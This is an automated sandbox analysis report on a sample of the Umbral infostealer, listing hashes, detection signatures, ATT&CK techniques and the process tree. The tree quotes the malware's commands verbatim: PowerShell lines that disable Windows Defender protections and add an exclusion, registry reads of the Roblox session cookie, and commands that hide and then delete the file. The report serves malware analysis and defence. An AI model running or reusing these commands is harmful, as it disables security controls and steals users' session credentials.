umbral | e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed

Analysis

max time kernel
93s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
30-11-2024 01:32

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General

Target

saloader.exe
Size

229KB
MD5

1e10af7811808fc24065f18535cf1220
SHA1

65995bcb862aa66988e1bb0dbff75dcac9b400c7
SHA256

e07fd0ac793b06603be164c9ee73465af512cf17bed07614cbcd2a8410f04eed
SHA512

f1c623918a3701254805e7648d671b316446a0f98637d3de62d44331cf91502afb57ccb762472491bc4ac037fbf5f7b624eb9d39092b3be0b2ed84da6f3acadc
SSDEEP

6144:lloZMQfsXtioRkts/cnnK6cMldKRn/1+mpnsl3ySXCkb8e1muhi:noZItlRk83MldKRn/1+mpnsl3ySXze

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4000-1-0x000001E5EE2E0000-0x000001E5EE320000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4300	powershell.exe
1512	powershell.exe
1060	powershell.exe
2148	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	saloader.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1084	cmd.exe
1304	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4580	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1304	PING.EXE

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2148	powershell.exe
2148	powershell.exe
1060	powershell.exe
1060	powershell.exe
4300	powershell.exe
4300	powershell.exe
4168	powershell.exe
4168	powershell.exe
1512	powershell.exe
1512	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4000	saloader.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeDebugPrivilege	4300	powershell.exe
Token: SeDebugPrivilege	4168	powershell.exe
Token: SeIncreaseQuotaPrivilege	2384	wmic.exe
Token: SeSecurityPrivilege	2384	wmic.exe
Token: SeTakeOwnershipPrivilege	2384	wmic.exe
Token: SeLoadDriverPrivilege	2384	wmic.exe
Token: SeSystemProfilePrivilege	2384	wmic.exe
Token: SeSystemtimePrivilege	2384	wmic.exe
Token: SeProfSingleProcessPrivilege	2384	wmic.exe
Token: SeIncBasePriorityPrivilege	2384	wmic.exe
Token: SeCreatePagefilePrivilege	2384	wmic.exe
Token: SeBackupPrivilege	2384	wmic.exe
Token: SeRestorePrivilege	2384	wmic.exe
Token: SeShutdownPrivilege	2384	wmic.exe
Token: SeDebugPrivilege	2384	wmic.exe
Token: SeSystemEnvironmentPrivilege	2384	wmic.exe
Token: SeRemoteShutdownPrivilege	2384	wmic.exe
Token: SeUndockPrivilege	2384	wmic.exe
Token: SeManageVolumePrivilege	2384	wmic.exe
Token: 33	2384	wmic.exe
Token: 34	2384	wmic.exe
Token: 35	2384	wmic.exe
Token: 36	2384	wmic.exe
Token: SeIncreaseQuotaPrivilege	2384	wmic.exe
Token: SeSecurityPrivilege	2384	wmic.exe
Token: SeTakeOwnershipPrivilege	2384	wmic.exe
Token: SeLoadDriverPrivilege	2384	wmic.exe
Token: SeSystemProfilePrivilege	2384	wmic.exe
Token: SeSystemtimePrivilege	2384	wmic.exe
Token: SeProfSingleProcessPrivilege	2384	wmic.exe
Token: SeIncBasePriorityPrivilege	2384	wmic.exe
Token: SeCreatePagefilePrivilege	2384	wmic.exe
Token: SeBackupPrivilege	2384	wmic.exe
Token: SeRestorePrivilege	2384	wmic.exe
Token: SeShutdownPrivilege	2384	wmic.exe
Token: SeDebugPrivilege	2384	wmic.exe
Token: SeSystemEnvironmentPrivilege	2384	wmic.exe
Token: SeRemoteShutdownPrivilege	2384	wmic.exe
Token: SeUndockPrivilege	2384	wmic.exe
Token: SeManageVolumePrivilege	2384	wmic.exe
Token: 33	2384	wmic.exe
Token: 34	2384	wmic.exe
Token: 35	2384	wmic.exe
Token: 36	2384	wmic.exe
Token: SeIncreaseQuotaPrivilege	3076	wmic.exe
Token: SeSecurityPrivilege	3076	wmic.exe
Token: SeTakeOwnershipPrivilege	3076	wmic.exe
Token: SeLoadDriverPrivilege	3076	wmic.exe
Token: SeSystemProfilePrivilege	3076	wmic.exe
Token: SeSystemtimePrivilege	3076	wmic.exe
Token: SeProfSingleProcessPrivilege	3076	wmic.exe
Token: SeIncBasePriorityPrivilege	3076	wmic.exe
Token: SeCreatePagefilePrivilege	3076	wmic.exe
Token: SeBackupPrivilege	3076	wmic.exe
Token: SeRestorePrivilege	3076	wmic.exe
Token: SeShutdownPrivilege	3076	wmic.exe
Token: SeDebugPrivilege	3076	wmic.exe
Token: SeSystemEnvironmentPrivilege	3076	wmic.exe
Token: SeRemoteShutdownPrivilege	3076	wmic.exe
Token: SeUndockPrivilege	3076	wmic.exe
Token: SeManageVolumePrivilege	3076	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4000 wrote to memory of 4620	4000	saloader.exe	83
PID 4000 wrote to memory of 4620	4000	saloader.exe	83
PID 4000 wrote to memory of 2148	4000	saloader.exe	85
PID 4000 wrote to memory of 2148	4000	saloader.exe	85
PID 4000 wrote to memory of 1060	4000	saloader.exe	87
PID 4000 wrote to memory of 1060	4000	saloader.exe	87
PID 4000 wrote to memory of 4300	4000	saloader.exe	89
PID 4000 wrote to memory of 4300	4000	saloader.exe	89
PID 4000 wrote to memory of 4168	4000	saloader.exe	91
PID 4000 wrote to memory of 4168	4000	saloader.exe	91
PID 4000 wrote to memory of 2384	4000	saloader.exe	93
PID 4000 wrote to memory of 2384	4000	saloader.exe	93
PID 4000 wrote to memory of 3076	4000	saloader.exe	96
PID 4000 wrote to memory of 3076	4000	saloader.exe	96
PID 4000 wrote to memory of 2416	4000	saloader.exe	99
PID 4000 wrote to memory of 2416	4000	saloader.exe	99
PID 4000 wrote to memory of 1512	4000	saloader.exe	101
PID 4000 wrote to memory of 1512	4000	saloader.exe	101
PID 4000 wrote to memory of 4580	4000	saloader.exe	103
PID 4000 wrote to memory of 4580	4000	saloader.exe	103
PID 4000 wrote to memory of 1084	4000	saloader.exe	107
PID 4000 wrote to memory of 1084	4000	saloader.exe	107
PID 1084 wrote to memory of 1304	1084	cmd.exe	109
PID 1084 wrote to memory of 1304	1084	cmd.exe	109

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4620	attrib.exe

C:\Users\Admin\AppData\Local\Temp\saloader.exe
"C:\Users\Admin\AppData\Local\Temp\saloader.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4000
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\saloader.exe"
  2⤵
  - Views/modifies file attributes
  PID:4620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\saloader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4168
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2384
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3076
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1512
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4580
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\saloader.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2979eabc783eaca50de7be23dd4eafcf

SHA1
d709ce5f3a06b7958a67e20870bfd95b83cad2ea

SHA256
006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903

SHA512
92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
ca9486e86c2d150143b791c6d79e4cb9

SHA1
10bf74986105e10be0b3f7ecf7e421142457cadb

SHA256
943f39c8d418b82f2620e5712d77b0f2c74e8bcfed7757bf6bfe51cd7e0f54ad

SHA512
ecc4d2ca449b604fc6fedeac2f1d41226dc1cc38282cde57a89d87d7226e610fc21e4dd2eb172b5066cd9b57ae78eee681df941012924121462054e72c026fbc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
369b89e3801fb1c3df3a7527516edea6

SHA1
1dcf07320cbe1911d7138f4287b20e90e8f2bc25

SHA256
18b86f2340bc1547cc647693777444a0788551baee5989b0f8b186b8109f291c

SHA512
c819d002f42629c97a26f4e81c10a4c8a6b20a4bbfa269306675badaa7828740b80fe6c31945fc6f4c06ad812c1f04c6cc37ac62cb59ed9c0af22a819b259d87

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wv2iryok.lnz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2148-13-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download
memory/2148-14-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download
memory/2148-15-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download
memory/2148-18-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download
memory/2148-8-0x00000211AA090000-0x00000211AA0B2000-memory.dmp

Filesize
136KB

Download
memory/4000-34-0x000001E5F0B50000-0x000001E5F0BA0000-memory.dmp

Filesize
320KB

Download
memory/4000-33-0x000001E5F0BD0000-0x000001E5F0C46000-memory.dmp

Filesize
472KB

Download
memory/4000-35-0x000001E5EFFA0000-0x000001E5EFFBE000-memory.dmp

Filesize
120KB

Download
memory/4000-0-0x00007FFE02ED3000-0x00007FFE02ED5000-memory.dmp

Filesize
8KB

Download
memory/4000-1-0x000001E5EE2E0000-0x000001E5EE320000-memory.dmp

Filesize
256KB

Download
memory/4000-72-0x000001E5EFF90000-0x000001E5EFF9A000-memory.dmp

Filesize
40KB

Download
memory/4000-73-0x000001E5F14C0000-0x000001E5F14D2000-memory.dmp

Filesize
72KB

Download
memory/4000-2-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download
memory/4000-93-0x000001E5F0800000-0x000001E5F0902000-memory.dmp

Filesize
1.0MB

Download
memory/4000-94-0x00007FFE02ED0000-0x00007FFE03991000-memory.dmp

Filesize
10.8MB

Download